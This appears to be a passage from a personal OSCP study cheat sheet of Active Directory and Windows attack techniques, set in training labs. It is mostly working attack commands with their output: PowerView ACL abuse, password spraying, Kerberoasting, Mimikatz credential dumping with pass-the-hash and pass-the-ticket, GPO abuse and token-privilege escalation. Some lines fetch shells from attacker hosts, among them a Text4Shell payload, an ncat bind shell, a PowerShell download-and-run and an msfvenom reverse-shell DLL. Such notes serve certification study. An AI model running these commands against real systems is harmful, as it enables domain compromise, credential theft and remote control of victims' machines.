memberof : {CN=Group Policy Creator Owners,CN=Users,DC=corp,DC=com, CN=Domain Admins,CN=Users,DC=corp,DC=com, CN=Enterprise
Admins,CN=Users,DC=corp,DC=com, CN=Schema Admins,CN=Users,DC=corp,DC=com...}
lastlogon : 9/14/2022 2:37:15 AM
...
# The output shows that cn stores usernames; pipe the output to select and choose cn
PS C:\Tools> Get-NetUser | select cn
cn
--
Administrator
Guest
krbtgt
dave
stephanie
jeff
jeffadmin
iis_service
pete
jen
# Retrieve other attributes
Get-NetUser | select cn,pwdlastset,lastlogon
# Similarly, use Get-NetGroup to enumerate groups
PS C:\Tools> Get-NetGroup | select cn
cn
--
...
Key Admins
Enterprise Key Admins
DnsAdmins
DnsUpdateProxy
Sales Department
Management Department
Development Department
Debug
# Use Get-NetGroup to inspect the Sales Department and pipe the output to select member
PS C:\Tools> Get-NetGroup "Sales Department" | select member
member
------
{CN=Development Department,DC=corp,DC=com, CN=pete,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| # Obtain more information
# Use the PowerView Get-NetComputer command to enumerate computer objects in the domain
Get-NetComputer
# Filter to obtain hostnames and OS versions for all domain hosts
Get-NetComputer | select operatingsystem,dnshostname
# Run as stephanie (important in real engagements)
PS C:\> Find-LocalAdminAccess
# What happens internally:
# 1. Try connecting to machine A's SCM -> failed (insufficient permissions)
# 2. Try connecting to machine B's SCM -> failed (insufficient permissions)
# 3. Try connecting to client74's SCM -> success! (stephanie is a local administrator on client74)
# 4. Continue trying other machines...
# Final output
client74.corp.com # Indicates administrator privileges on this machine
# Find logged-on users on domain hosts; this requires substantial privileges
# Normally, insufficient permissions mean the current user must access the target as an administrator
# Alternatively, access to the SrvsvcSessionInfo registry entry on the target is required
PS C:\Tools> Get-NetSession -ComputerName files04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied
PS C:\Tools> Get-NetSession -ComputerName web04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied
# The result above shows administrator privileges on client74, so inspect client74
Get-NetSession -ComputerName client74
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # The method above normally requires more privileges; the following method does not
https://learn.microsoft.com/en-us/sysinternals/downloads/pstools provides the suite from the official site
# It queries through the Remote Registry service
.\PsLoggedon.exe \\files04
PsLoggedon v1.35 - See who's logged on
Copyright (C) 2000-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Users logged on locally:
<unknown time> CORP\jeff
Unable to query resource logons
# When a different user is logged on and administrator access is available
# The main action is to analyze LSASS
|
1
2
3
4
5
6
7
| # Enumerate SPNs in the domain
setspn -L iis_service
# Import PowerView
# Gather information about service accounts
Get-NetUser -SPN | select samaccountname,serviceprincipalname
nslookup.exe web04.corp.com
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
| # Enumerate object permissions in the domain
# Reference permission list
GenericAll: Full permissions on object
GenericWrite: Edit certain attributes on the object
WriteOwner: Change ownership of the object
WriteDACL: Edit ACE's applied to object
AllExtendedRights: Change password, reset password, etc.
ForceChangePassword: Password change for object
Self (Self-Membership): Add ourselves to for example a group
GenericAll (Full Control):
Highest permission level
Provides full control over the object
Allows any operation: modify attributes, reset passwords, add to groups, and more
Example: GenericAll over a user allows direct password reset
GenericWrite (Write Permission):
Allows modification of most object attributes
Does not allow modification of sensitive attributes such as passwords
Example: modify a user's scriptPath attribute to achieve code execution
WriteOwner (Change Owner):
Allows changing the object's owner
Changing ownership to yourself can lead to full control
Example: become the owner of a group and then control it
WriteDACL (Modify Access Control):
Allows modification of the object's access-control list
Allows permissions to be added or removed
Example: grant yourself GenericAll
AllExtendedRights (Extended Rights):
Includes special operations such as password resets
Does not include ordinary attribute-modification permissions
Example: reset a user's password
ForceChangePassword (Force Password Change):
A permission specifically for changing passwords
Does not require the original password
Example: directly reset the target user's password
Self (Self-Membership):
Allows adding yourself to a group
Only yourself can be added
Example: add yourself to a privileged group
# Official reference
# https://learn.microsoft.com/en-us/windows/win32/secauthz/access-rights-and-access-masks
Simple usage methods
Using GenericAll:
powershellCopy# If GenericAll is held over user UserA
net user UserA NewPass123! /domain # Change the password directly
Using GenericWrite:
powershellCopy# Modify the user's script path to achieve code execution
Set-ADUser -Identity UserA -ScriptPath "\\attacker\share\evil.ps1"
Using WriteOwner:
powershellCopy# First, change the owner to yourself
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity YourAccount
# Further operations are then possible
Using WriteDACL:
powershellCopy# Grant yourself full permissions
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -Rights All
Using ForceChangePassword:
powershellCopy# Change the password directly
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
Using Self (Self-Membership):
powershellCopy# Add yourself to the group
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'YourAccount'
# The above covers usage; below, query information and use the results for privilege escalation
# View which ACEs apply to the current user
PS C:\Tools> Get-ObjectAcl -Identity stephanie
...
ObjectDN : CN=stephanie,CN=Users,DC=corp,DC=com
ObjectSID : S-1-5-21-1987370270-658905905-1781884369-1104
ActiveDirectoryRights : ReadProperty
ObjectAceFlags : ObjectAceTypePresent
ObjectAceType : 4c164200-20c0-11d0-a768-00aa006e0529
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength : 56
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 16
SecurityIdentifier : S-1-5-21-1987370270-658905905-1781884369-553
AceType : AccessAllowedObject
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
# In this example, the current SID is S-1-5-21-1987370270-658905905-1781884369-1104
# S-1-5-21-1987370270-658905905-1781884369-553 grants us ReadProperty permission
# Next, identify the owner of this SID
PS C:\Tools> Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104
CORP\stephanie
# This shows which permissions SecurityIdentifier has over ObjectSID
# The example below queries who has full control over the "Management Department" group
PS C:\Tools> Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
SecurityIdentifier ActiveDirectoryRights
------------------ ---------------------
S-1-5-21-1987370270-658905905-1781884369-512 GenericAll
S-1-5-21-1987370270-658905905-1781884369-1104 GenericAll
S-1-5-32-548 GenericAll
S-1-5-18 GenericAll
S-1-5-21-1987370270-658905905-1781884369-519 GenericAll
PS C:\Tools> "S-1-5-21-1987370270-658905905-1781884369-512","S-1-5-21-1987370270-658905905-1781884369-1104","S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" | Convert-SidToName
CORP\Domain Admins
CORP\stephanie
BUILTIN\Account Operators
Local System
CORP\Enterprise Admins
# The output above shows that stephanie, the current user, has full control over this group
# This allows adding yourself or another user to the group and using the group's permissions
PS C:\Tools> net group "Management Department" stephanie /add /domain
The request will be processed at a domain controller for domain corp.com.
The command completed successfully.
# The current user was added above; query permissions to confirm membership
PS C:\Tools> Get-NetGroup "Management Department" | select member
member
------
{CN=jen,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}
PS C:\Tools> net group "Management Department" stephanie /del /domain
The request will be processed at a domain controller for domain corp.com.
The command completed successfully.
# View group permissions
Get-ObjectAcl -Identity "Management Department"
# Verify these items, then remove them
PS C:\Tools> Get-NetGroup "Management Department" | select member
member
------
CN=jen,CN=Users,DC=corp,DC=com
PS C:\Tools> net group "Management Department" stephanie /del /domain
The request will be processed at a domain controller for domain corp.com.
The command completed successfully.
Use PowerView again to verify that jen is the group's only member:
PS C:\Tools> Get-NetGroup "Management Department" | select member
member
------
CN=jen,CN=Users,DC=corp,DC=com
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| Import PowerView again
PS C:\Tools> Find-DomainShare
Name Type Remark ComputerName
---- ---- ------ ------------
ADMIN$ 2147483648 Remote Admin DC1.corp.com
C$ 2147483648 Default share DC1.corp.com
IPC$ 2147483651 Remote IPC DC1.corp.com
NETLOGON 0 Logon server share DC1.corp.com
SYSVOL 0 Logon server share DC1.corp.com
ADMIN$ 2147483648 Remote Admin web04.corp.com
backup 0 web04.corp.com
C$ 2147483648 Default share web04.corp.com
IPC$ 2147483651 Remote IPC web04.corp.com
ADMIN$ 2147483648 Remote Admin FILES04.corp.com
C 0 FILES04.corp.com
C$ 2147483648 Default share FILES04.corp.com
docshare 0 Documentation purposes FILES04.corp.com
IPC$ 2147483651 Remote IPC FILES04.corp.com
Tools 0 FILES04.corp.com
Users 0 FILES04.corp.com
Windows 0 FILES04.corp.com
ADMIN$ 2147483648 Remote Admin client74.corp.com
C$ 2147483648 Default share client74.corp.com
IPC$ 2147483651 Remote IPC client74.corp.com
ADMIN$ 2147483648 Remote Admin client75.corp.com
C$ 2147483648 Default share client75.corp.com
IPC$ 2147483651 Remote IPC client75.corp.com
sharing 0 client75.corp.com
This shows many accessible SMB directories, but does not indicate read or write access
# Then perform the classic SYSVOL XML-file check
# This provides a convenient one-line command without the usual extra steps
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"
# Next, inspect shares for non-default content, for example
docshare
|
1
2
3
4
| C:\Tools\Spray-Passwords.ps1
# It identifies domain users automatically and supports a single password or wordlist for brute forcing
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin
.\Spray-Passwords.ps1 -File 1.txt -Admin
|
89.Rubeus
1
2
3
4
5
6
7
8
9
10
| # This failed every time in the OSCP lab, but it is still useful enough to note
# Transfer it to the target machine
# Perform AS-REP Roasting in one step, then use hashcat
.\Rubeus.exe asreproast /nowrap
# Find service-account tickets in one step, similar to GetUserSPNs
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
# Check the target service's SPN when generating a ticket
setspn -L username
|
90.Lateral Movement in AD (Some Great Ideas from OSCP)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
| mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
...
Authentication Id : 0 ; 1142030 (00000000:00116d0e)
Session : Interactive from 0
User Name : jen
Domain : CORP
Logon Server : DC1
Logon Time : 2/27/2023 7:43:20 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1124
msv :
[00000003] Primary
* Username : jen
* Domain : CORP
* NTLM : 369def79d8372408bf6e93364cc93075
* SHA1 : faf35992ad0df4fc418af543e5f4cb08210830d4
* DPAPI : ed6686fedb60840cd49b5286a7c08fa4
tspkg :
wdigest :
* Username : jen
* Domain : CORP
* Password : (null)
kerberos :
* Username : jen
* Domain : CORP.COM
* Password : (null)
ssp :
credman :
...
mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
user : jen
domain : corp.com
program : powershell
impers. : no
NTLM : 369def79d8372408bf6e93364cc93075
| PID 8716
| TID 8348
| LSA Process is now R/W
| LUID 0 ; 16534348 (00000000:00fc4b4c)
\_ msv1_0 - data copy @ 000001F3D5C69330 : OK !
\_ kerberos - data copy @ 000001F3D5D366C8
\_ des_cbc_md4 -> null
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ *Password replace @ 000001F3D5C63B68 (32) -> null
PS C:\Windows\system32> klist
Current LogonId is 0:0x1583ae
Cached Tickets: (0)
The operations above open a new shell with PTH but create no tickets
# The operation below generates krbtgt and cifs tickets, obtaining a Kerberos ticket through HTLM
net use \\files04
PS C:\Windows\system32> klist
Current LogonId is 0:0x17239e
Cached Tickets: (2)
#0> Client: jen @ CORP.COM
Server: krbtgt/CORP.COM @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 2/27/2023 5:27:28 (local)
End Time: 2/27/2023 15:27:28 (local)
Renew Time: 3/6/2023 5:27:28 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called: DC1.corp.com
#1> Client: jen @ CORP.COM
Server: cifs/files04 @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 2/27/2023 5:27:28 (local)
End Time: 2/27/2023 15:27:28 (local)
Renew Time: 3/6/2023 5:27:28 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called: DC1.corp.com
# With a cifs ticket, PTH can be performed directly as shown below
# This may be more covert because it converts the HTLM hash into a Kerberos TGT
PS C:\Windows\system32> cd C:\tools\SysinternalsSuite\
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\files04 cmd
PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
corp\jen
C:\Windows\system32>hostname
FILES04
|
Passing Tickets
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
| This was covered earlier but is noted again here
PS C:\Windows\system32> whoami
corp\jen
PS C:\Windows\system32> ls \\web04\backup
ls : Access to the path '\\web04\backup' is denied.
At line:1 char:1
+ ls \\web04\backup
+ ~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (\\web04\backup:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
mimikatz #privilege::debug
Privilege '20' OK
mimikatz #sekurlsa::tickets /export
Authentication Id : 0 ; 2037286 (00000000:001f1626)
Session : Batch from 0
User Name : dave
Domain : CORP
Logon Server : DC1
Logon Time : 9/14/2022 6:24:17 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1103
* Username : dave
* Domain : CORP.COM
* Password : (null)
Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?
Group 2 - Ticket Granting Ticket
[00000000]
Start/End/MaxRenew: 9/14/2022 6:24:17 AM ; 9/14/2022 4:24:17 PM ; 9/21/2022 6:24:17 AM
Service Name (02) : krbtgt ; CORP.COM ; @ CORP.COM
Target Name (02) : krbtgt ; CORP ; @ CORP.COM
Client Name (01) : dave ; @ CORP.COM ( CORP )
Flags 40c10000 : name_canonicalize ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
f0259e075fa30e8476836936647cdabc719fe245ba29d4b60528f04196745fe6
Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...]
* Saved to file [0;1f1626][email protected] !
...
PS C:\Tools> dir *.kirbi
Directory: C:\Tools
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/14/2022 6:24 AM 1561 [0;12bd0][email protected]
-a---- 9/14/2022 6:24 AM 1505 [0;12bd0][email protected]
-a---- 9/14/2022 6:24 AM 1561 [0;1c6860][email protected]
-a---- 9/14/2022 6:24 AM 1505 [0;1c6860][email protected]
-a---- 9/14/2022 6:24 AM 1561 [0;1c7bcc][email protected]
-a---- 9/14/2022 6:24 AM 1505 [0;1c7bcc][email protected]
-a---- 9/14/2022 6:24 AM 1561 [0;1c933d][email protected]
-a---- 9/14/2022 6:24 AM 1505 [0;1c933d][email protected]
-a---- 9/14/2022 6:24 AM 1561 [0;1ca6c2][email protected]
-a---- 9/14/2022 6:24 AM 1505 [0;1ca6c2][email protected]
...
mimikatz # kerberos::ptt [0;12bd0][email protected]
* File: '[0;12bd0][email protected]': OK
PS C:\Tools> klist
Current LogonId is 0:0x13bca7
Cached Tickets: (1)
#0> Client: dave @ CORP.COM
Server: cifs/web04 @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40810000 -> forwardable renewable name_canonicalize
Start Time: 9/14/2022 5:31:32 (local)
End Time: 9/14/2022 15:31:13 (local)
Renew Time: 9/21/2022 5:31:13 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
PS C:\Tools> ls \\web04\backup
Directory: \\web04\backup
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/13/2022 2:52 AM 0 backup_schemata.txt
# Export the in-memory ticket and then import it
|
91.FTP Active Mode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| Switch to active mode with:
quote pasv
Or force active mode with -A before connecting:
ftp -A 192.168.172.145
Disable passive mode with the passive command:
ftp> passive
Passive mode: off
If that still fails, set an environment variable before connecting:
Copyexport FTP_PASSIVE=0
ftp 192.168.172.145
Use another FTP client such as lftp, which offers clearer active/passive mode controls:
lftp -u anonymous 192.168.172.145
lftp> set ftp:passive-mode off
Use ls -la or ls -l to view a detailed listing:
ftp> ls -la
Try switching to binary mode before listing the directory:
ftp> binary
ftp> dir
Use quote LIST to send the raw FTP command directly:
ftp> quote LIST
Try using mls to save the directory listing to a local file:
ftp> mls - listing.txt
Try accessing common default directories on Windows FTP servers:
ftp> cd pub
Or
ftp> cd upload
If the exact filename is known, try retrieving it directly:
ftp> get filename.txt
You can also try switching to the parent directory:
ftp> cdup
|
92.SSH Tunneling
1
2
3
4
5
6
7
8
| ssh -R 443:192.168.45.184:443 -R 80:192.168.45.184:80 [email protected]
# -L forwards a target-machine port locally; -R forwards a local port to a port opened on the target machine
ssh -L 443:192.168.45.184:443 -L 80:192.168.45.184:80 [email protected]
# Build a tunnel to carry traffic
ssh -D 1080 -N [email protected]
Use proxychains on local port 1080
|
93.snmpwalk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| snmpwalk -v1 -c public IP
snmpwalk -v2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v 2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendOutputFull
# The command above queries command names, for example
# RESET is the command
NET-SNMP-EXTEND-MIB::nsExtendCommand."RESET" = STRING: ./home/john/RESET_PASSWD
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutputFull.\"COMMAND_NAME\"
# Common extended-MIB queries
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendConfigTable
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput1Table
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput2Table
|
94.CVE-2022–42889 (Text4Shell)
https://meyerweb.com/eric/tools/dencoder/ # URL encoding website
1
2
| ${script:javascript:java.lang.Runtime.getRuntime().exec('command')}
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27wget%20192.168.45.184%2Fcmdjsp.jsp%20-O%20%2Ftmp%2Fshell%27)%7D
|
95.Java Debug Wire Protocol (JDWP) - Remote Code Execution
https://www.exploit-db.com/exploits/46501
https://github.com/IOActive/jdwp-shellifier/
1
2
3
4
| $ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"
Most importantly, trigger the accept() event. If Java listens on a port, connect to it actively with nc.
This is integrated into the CMD exploit, but the port still requires attention.
|
96.Windows Local Privilege Escalation (Use This for a More Thorough Check)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # Download PowerUp
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
# On the target machine
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile
# Or perform a comprehensive check
Invoke-AllChecks
Invoke-AllChecks checks all potential service privilege-escalation vectors, including:
Modifiable service executables
Unquoted service paths
Misconfigured service permissions, and more
This avoids manually searching for escalation vectors such as modifiable service executables
|
97.chisel
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| # This proxy is less convenient than ligolo-ng, but has a feature ligolo-ng lacks
# It can forward local ports, while ligolo-ng cannot expose local services
# I normally use frp, but tools such as ftp, lcx, and ew do not work in OSCP labs
# The reason is unclear, and chisel sometimes also fails in OSCP labs
# Chisel also failed to expose local ports; only an SSH tunnel worked
# It is still worth noting because local-port forwarding is important
# Start the server
./chisel server -p 8000 --reverse
# Reverse port forwarding (forward target port 1433 to the attacker machine)
chisel.exe client ATTACKER_IP:8000 R:1433:127.0.0.1:1433
# Attacker machine
./chisel server -p 8000 --reverse
# Target machine
chisel.exe client ATTACKER_IP:8000 R:ATTACKER_PORT:127.0.0.1:TARGET_PORT
# The above exposes a target-local port; below, a Kali port is forwarded to Windows
# Use this with a ligolo-ng tunnel when an internal host cannot reach Kali and may access only internal resources
# Kali attacker machine
./chisel server -p 8000 --reverse
# Target machine
chisel.exe client KALI_IP:8000 R:80:KALI_IP:80
Forward a target-machine port to Kali:
bashCopychisel.exe client KALI:8000 R:1433:127.0.0.1:1433
↑
Points to the target machine locally
Forward a Kali port to the target machine:
bashCopychisel.exe client KALI:8000 R:80:KALI_IP:80
↑
Points to Kali
|
98.Extracting Archives from the Windows Command Line
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| Use the built-in expand command:
expand .\nmap.zip -F:* C:\programdata\test
Use PowerShell:
Expand-Archive -Path c:\source\archive.zip -DestinationPath c:\destination
If the destination directory exists, add -Force:
powershellCopyExpand-Archive -Path .\nmap.zip -DestinationPath C:\programdata\test -Force
Use tar (Windows 10 or later):
tar -xf nmap.zip
# Extract
Expand-Archive nmap.zip
|
99.Unconventional Ideas
1
2
3
4
5
6
| # Quick scan
nmap -Pn -n 192.168.207.187 -sC -sV -p- --open
# Remember what can be uploaded through file-upload functionality
echo "AddType application/x-httpd-php .dork" > .htaccess
# Available when a service account has lost all permissions
https://itm4n.github.io/localservice-privileges/?source=post_page
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| # Configure the required privilege list
$Privs = @(
"SeAssignPrimaryTokenPrivilege",
"SeAuditPrivilege",
"SeChangeNotifyPrivilege",
"SeCreateGlobalPrivilege",
"SeImpersonatePrivilege",
"SeIncreaseQuotaPrivilege",
"SeShutdownPrivilege",
"SeUndockPrivilege",
"SeIncreaseWorkingSetPrivilege",
"SeTimeZonePrivilege"
)
# Create the task principal
$TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs
# Create the command to execute (reverse-shell example)
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep Bypass -Command `". C:\path\to\shell.ps1; powercat -l -p 7003 -ep`""
# Register and start the task
Register-ScheduledTask -Action $TaskAction -TaskName "PrivEsc" -Principal $TaskPrincipal
Start-ScheduledTask -TaskName "PrivEsc"
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| # On a domain host, remember to use PowerShell scripts to find SPNs and other information locally
https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1
## 1. Import the script
Import-Module .\Get-SPN.ps1
# 2. Find SPNs
Get-SPN -type service
# 3. Request tickets
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DC.access.offsec"
# 4. Export tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Or export with a PowerShell command
klist.exe purge
klist.exe tgt
# 5. Crack with hashcat
hashcat -m 13100 ticket.kirbi wordlist.txt
|
1
2
3
4
| # Use domain-user permissions to request a TGS for any SPN, mainly when no credentials are available on a domain controller or member host
powershell iwr http://192.168.45.154/Invoke-Kerberoast.ps1 -outfile Invoke-Kerberoast.ps1
.\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat HashCat|Out-File -Encoding ASCII hash.txt
|
1
2
3
4
5
6
7
8
9
| # A lateral-movement tool for direct login with domain credentials
https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
Invoke-RunasCs -Username user -Password pass -Command "powershell IEX(New-Object Net.WebClient).DownloadString('http://x.x.x.x/shell.ps1')"
# Enter-PSSession is built in and also works
$SecPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain\user', $SecPassword)
Enter-PSSession -ComputerName target -Credential $Cred
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| whoami /priv
# The output above shows privileges, including disabled ones that may be enabled
# Enable privileges
$TokenPriv = Get-TokenPrivilege
Enable-TokenPrivilege -TokenPrivilege $TokenPriv -Privilege SeManageVolumePrivilege
# Verify that they are enabled
whoami /priv
# The automated method below can enable all of them directly
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html
.\EnableAllTokenPrivs.ps1
whoami /priv
Token reference
https://github.com/gtworek/Priv2Admin
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| SeMachineAccountPrivilege and SeManageVolumePrivilege are covered in this section
https://medium.com/@Dpsypher/proving-grounds-practice-access-b95d3146cfe9
https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public
# 1. Enable the privilege
Enable-TokenPrivilege -Privilege SeManageVolumePrivilege
# 2. Modify C: drive permissions to gain write access
.\SeManageVolumeExploit.exe
# 3. DLL hijacking
# - systeminfo loads tzres.dll
# - Write a malicious tzres.dll to C:\windows\system32\wbem
# - Generate a DLL reverse shell:
msfvenom -p windows/x64/shell_reverse_tcp [...] -f dll -o tzres.dll
# 4. Run systeminfo to trigger DLL loading and obtain SYSTEM privileges
tzres.dll is a system component loaded when systeminfo runs
|
1
2
3
4
5
6
| # 1. If a service account ends with $ and the note mentions gMSA, it is a managed service account
# 2. Use GMSAPasswordReader to read the hash
.\gmsapasswordreader.exe --accountname svc_apache
.\\gmsapasswordreader.exe --accountname svc_apache
# 3. Obtain the rc4_hmac hash for login
evil-winrm -i IP -u svc_apache$ -H 526C435B8E4CF11F447D6EF7152665BB
|
1
2
3
4
5
6
7
8
| SeRestore privilege
# The method below also works
https://r4j3sh.medium.com/heist-pg-practice-write-up-fbfd6b90b02a
# A simpler method that executes a shell directly
https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe
SeRestoreAbuse.exe C:\Windows\System32\utilman.exe
SeRestoreAbuse.exe "C:\Windows\System32\cmd.exe" "C:\Windows\System32\utilman.exe"
|
1
2
3
4
5
6
7
8
| # For SMB phishing, listen with Responder when authentication begins to capture HTLM
# https://github.com/Greenwolf/ntlm_theft includes various methods
[InternetShortcut]
URL=Random_nonsense
WorkingDirectory=Flibertygibbit
IconFile=\\<YOUR tun0 IP>\%USERNAME%.icon
IconIndex=1
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| GPO (Group Policy) privilege escalation
# Import PowerView
Import-Module .\PowerView.ps1
# Find Default Domain Policy information and its GUID
Get-GPO -Name "Default Domain Policy"
Get-GPPermission -Guid <GUID> -TargetType User -TargetName <CURRENT_USER>
# Permission types may include:
# - GpoApply: Apply policy
# - GpoRead: Read policy
# - GpoEdit: Edit policy
# - GpoCustom: Custom permissions
.\SharpGPOAbuse.exe
--AddLocalAdmin # Add a local administrator
--UserAccount # Specify the user account to add
--GPOName # Specify the GPO to modify
# Other available arguments:
--AddComputerScript # Add a computer startup script
--AddUserScript # Add a user logon script
--AddUserTask # Add a scheduled task
--Command # Specify the command to execute
# Query permissions
Get-GPPermission -Guid 31b2f340-016d-11d2-945f-00c04fb984f9 -TargetType User -TargetName anirudh
https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master
# The project URL is above; exploitation is below
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "Default Domain Policy"
gpupdate /force
.\SharpGPOAbuse.exe
--AddLocalAdmin # Action: add local-administrator privileges
--UserAccount anirudh # User to add: anirudh
--GPOName "Default Domain Policy" # GPO to modify: Default Domain Policy
gpupdate # Update Group Policy
